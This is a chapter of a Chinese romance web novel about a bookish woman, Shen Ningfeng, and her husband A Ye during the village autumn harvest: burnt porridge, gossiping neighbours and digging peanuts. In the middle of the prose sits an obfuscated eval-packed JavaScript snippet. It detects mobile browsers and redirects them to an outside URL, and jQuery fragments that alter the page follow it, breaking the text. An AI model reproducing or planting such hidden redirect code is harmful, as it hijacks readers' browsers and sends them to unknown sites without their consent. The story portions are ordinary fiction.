进入秋收季,阿野天不见亮就起床,一直忙到黑夜降临。沈宁风没经历过秋收,不明白会有多忙碌。学童们也都说这几日不会来上课了,她还小小地生气了一下,觉得他们对学问没有敬畏之心。最终,她还是允了他们十日休假,并说收假回来就要开始学习珠算,让他们别误了时间。
她下学之后自己一个人百无聊赖,阿真家也没人,说话都找不到人。阿野出门前给她做了馍馍,她也不知道热一热,就冷着啃了。
沈宁风呆在家唯一做过的活儿就是喂鸡。她将阿野收集的剩菜叶撒到了鸡圈,那两只鸡见了食物,飞得与沈宁风齐肩高。她尖叫着用手去驱赶,还被鸡爪子在手臂上抓了一道。
沈宁风沮丧极了,觉得自己就是个废人。眼见着太阳就要下山,想着累了一天的阿野回家只有冷锅冷灶,她就觉得很愧疚。
“我怎么就不能干活啦?我也是能干活的!瞧着吧!”
沈宁风自己给自己打了气,决定照阿野之前说的方法,给阿野煮点粥。
阿野回到家的时候,见沈宁风坐在灶膛前烧着火。黑漆漆的屋里只有灶膛里发出的暖黄色的光,照在了昏昏欲睡的沈宁风的身上,为她镀上了一层圣光。那安静恬淡的样子宛若仙女下凡到人间,为了心爱的男子洗手作羹汤。
阿野心头一热,定定地看了好一阵,直到闻到了一丝糊味。小风也不知烧了多久的火了,估计锅里已经烧干了。
阿野走过去,轻轻地摸了摸沈宁风的脸,叫道:“小风,小风,醒醒,煮糊了!”
沈宁风惊醒,揉着眼睛,道:“阿野,你回来啦?”
阿野这才借着火光看到,沈宁风脸上手上都是脏兮兮灰扑扑的,好不狼狈。
阿野忍不住笑了起来,摩挲着她细嫩的手,笑着笑着,他就低落了起来。
“小风,你这是握笔的手,你不该做这些……”
“说什么呢!”沈宁风一把推开阿野,将锅盖揭了起来,“哎呀,真的烧糊了!我是掺了三瓢水的呀?怎么办,我给你做的,总不能浪费了,你吃了吧!”
阿野眉头皱成了一团,发出邀请,“一起吃啊!”
“我宁愿饿着我也不要吃!”沈宁风头摇得像拨浪鼓,“再说我吃了你给我留的馍,我不饿。”
“你说你是不是故意谋害我……”阿野尝了一口,这回是脸都皱成了一团。
他的表情像是吃了一种尚未面世的食物,纵使他有千言万语,都被这奇怪的味道逼了回去。
“酸、酸的?!这糊里巴焦的饭还是酸的?沈小风,你在这里面加了什么呀?你当真要害死我当寡妇啊!”阿野被药得神经都错乱了。
“啊,不好吃啊?”沈宁风吐吐舌头,怯怯地看了一眼阿野,狡黠的眼眸子闪着光,“之前听桂容婶儿说橘子皮通气祛湿,我就加了点儿……”
“哪里有橘子皮?在哪儿呢——”阿野拿着木勺在锅里搅了搅,翻出了一个橘子,还是青的。
“小风先生!你给我说说,这是橘子皮吗?”阿野舀着青橘子怼到了沈宁风的面前。
沈宁风拿着一根手指推了推,理直气壮,“咱家里不是没有橘子皮嘛,我就、我就在菜园子里的树上摘了一个,想着功效应是一样的……”
“真是服了你了!我看这饭,拿去喂鸡鸡都不会吃的……”阿野一边抱怨,一边将饭舀出锅,下面果然粘了锅,糊了一片。
沈宁风以为阿野在怪她浪费了粮食,她蓦地觉得很愧疚。她挨过去,搂了阿野的腰,难过地说:“对不起,你这么辛苦,我什么都帮不到你,我不是故意要糟蹋粮食的,真的……对不起……”
阿野转过身来,看到了沈宁风发红的眼角几乎快要落下泪来。他腾了一只手出来,擦了擦她脸上的锅灰,道:“我没有怪你,小花猫,别难过了。你就在家好好地休息,嗯,我可以搞定的,别担心了。”
沈宁风仰着脸,用发红的眼睛看着他,道:“不要,我一个人在家太无聊了,明日你带我去田里嘛……我、我给你端水,嗯?”
第二日太阳还未出来,阿野就带着沈宁风一起去了田里收水稻。阿野收拾了一大筐子的东西——席子、斗笠、蒲扇、粗瓷水罐、食篮……沈宁风看得直发愁,道:“这是搬家么,怎得这么麻烦?”
“走吧。”阿野挑了筐子,带着沈宁风向田间走去。
一路上遇到了许多的村民,阿野一边问好,一边向沈宁风介绍。村民们向她问着好,眼里却有一丝看热闹的眼光——她看起来就是麦子稻子都分不清的人,她还能下地干活?
来到田边,阿野给她找了一块阴凉的地方,铺了竹编的席子,又给她将之前的面纱斗笠拿了出来,蒲扇放她脚边,道:“待会儿日头晒得很,你待不得的话,等我担谷时就一起回去。”
“怎么会?我待得。”沈宁风信心满满。
沈宁风盘腿在席子上坐了,没一会儿,日头就毒了起来,她看周围都是白花花的一片,闪眼睛得很。她只得戴着斗笠,靠着树闭着眼睛。
阿野过来喝水,问她:“田里就是这个样,蚊虫也多,我这一担稻谷也快弄好了,你还是跟我回去吧?”
沈宁风被太阳晒得烦躁,被阿野这样一问,没好气地回道:“你就是嫌我在这儿碍眼,我回去就是!这地儿真是又脏又臭!”
赤着脚、流着汗的阿野挑着满满的一担稻谷,带着干干净净的沈宁风穿过田埂回家去。在田间干活的村民见了,有些交头接耳起来。
等阿野带着清空的筐子回到田里时,好事的村民们在歇息时都过来和他说上几句话:
“哎哟我说阿野呀,你那媳妇干不得活呀?这些地里的活都你一个人干哟,辛苦喔!”
“你也让她学着干嘛,哪有来了村里还不干活的,让人笑哩。”
“她在家做活不呢?她还真是千金大小姐喔?千金大小姐落难的呀……你没看到她那手,又白又嫩,跟地里长的那葱葱儿都嫩的……”
“是呀是呀,美是美嘛,那也不能当饭吃,也是遇到了好脾气的阿野呀……”
“哎呀阿野,也是你父母不在了没人给你看,你父母在的话,这种女子不会让你娶的呢,太娇气了,哪里是能过苦日子的。”
阿野听得这些表面为他好,实则落井下石挑拨离间的话,也没工夫去搭理,只是皱着眉头一顿猛干,在太阳还没下山时就把田里的活干完收工回家了。
回到家,阿野又赶紧把晒着的稻谷收回屋去,这才看到沈宁风,端着一篮子菜叶,在同两只鸡说着话。
“你可回来了!”沈宁风扔了菜篮,朝阿野跑过来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309862|198781||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“无聊了吧,走吧,我带你去挖花生。”阿野背上一个背篓,拿了锄头,拉起来沈宁风的手。
阿野的手掌里满是割稻子留下的伤痕,沈宁风握着,比往日更加地粗糙。
“花生为什么要挖呀?是谁藏起来了吗?”沈宁风没见过地里的花生,不禁好奇。
阿野摇摇头,笑得有点无奈。沈宁风一看他那个笑容,就知道自己问了一个很蠢的问题。
“落花生落花生,女皇陛下,你还真是没见过花生怎么长的?”阿野拽过来沈宁风的手背,亲了一下。
“大胆!我是女皇陛下,我还不得砍你的头!还让你拉着我,多大的荣幸啊!”
沈宁风拽回了自己的手,又企图用另一只手去打阿野,被他偏了。二人打打闹闹,很快就到了花生地。
阿野挖了一锄头,拽着茂密的茎杆就将一兜儿花生从松软的土里拖了出来。沈宁风像是发现了宝藏般,兴奋到大叫,“我来!我来!我来摘花生,好多呀!大丰收呀!”
她不顾地里的土会脏了衣服,一下子跪在了地上,双手拼了命地将个个饱满成熟的花生摘下来,扔进了背篓。
“好多!好多!我好兴奋呀!”沈宁风跟在阿野的锄头后面,激动得手忙脚乱,像是老鼠进了米缸。阿野看了,笑话她是个“贪心鬼”。
沈宁风和阿野不知疲倦地干了一个多时辰,直到太阳完全下山了才背着满满一背篓的果实回家。
沈宁风手上沾了泥,在路边的水塘洗了后,手掌变得尤其地干燥。她牵着阿野的手,兴奋地说“挖花生”可太有意思了。
阿野用手指摩挲着她的手掌,道:“小风,你的手也变得粗了……你后悔吗?”
沈宁风撇了嘴,好似他问了一个蠢问题。她回道:“对呀,手也粗了,人也黑了,要是让我以前的宿敌见到我这个样子,怕是半夜都要笑醒吧!不过我不在乎,我现在过得安心,就够了。怎么,你只喜欢我握笔的手,不喜欢我挖土的手吗?”
“都喜欢。只要是小风,我一样喜欢。”阿野说得认真,眼眸里流露出真情。他不知道为何自己的生活突然一下子变得如此幸福,他此前时常提醒自己,小风随时会离去。而今,他无可救药地沉溺在这种幸福里,坚信他们会生养孩子,白头到老。
“阿野郎君,你变得油嘴滑舌了呢。不过我喜欢,以后好听的话多说,我不嫌烦。”沈宁风哈哈地笑着,大力地甩着阿野的手,心情好极了。
“咱们摘了花生,回去喝酒,喝完酒睡觉!”沈宁风嬉笑着拉着阿野的手走在前面,对今晚做出了安排。
阿野紧走两步追上她,道:“喝了酒可不准耍赖!”
“谁耍赖了?崔清泉,上次喝了酒你是不是趁人之危,把我清白给毁了?”
“沈小风,你怎么说话呢?什么叫‘毁了清白’,咱不是成过亲的人吗?全村的人都可作证呢。”
“哎哟,原来你还知道我们成亲了啊,那你平日里怎么不主动一点,你是不是不行啊?”
“你!今晚咱酒也别喝了,省得有的人得了便宜还乱说话,今晚就给你长长记性……”
“崔清泉你听听自己说的话,啥时候这么孟浪了?”
“还不是你沈小风带坏的?沈先生教得好!”
“你……胡说八道!”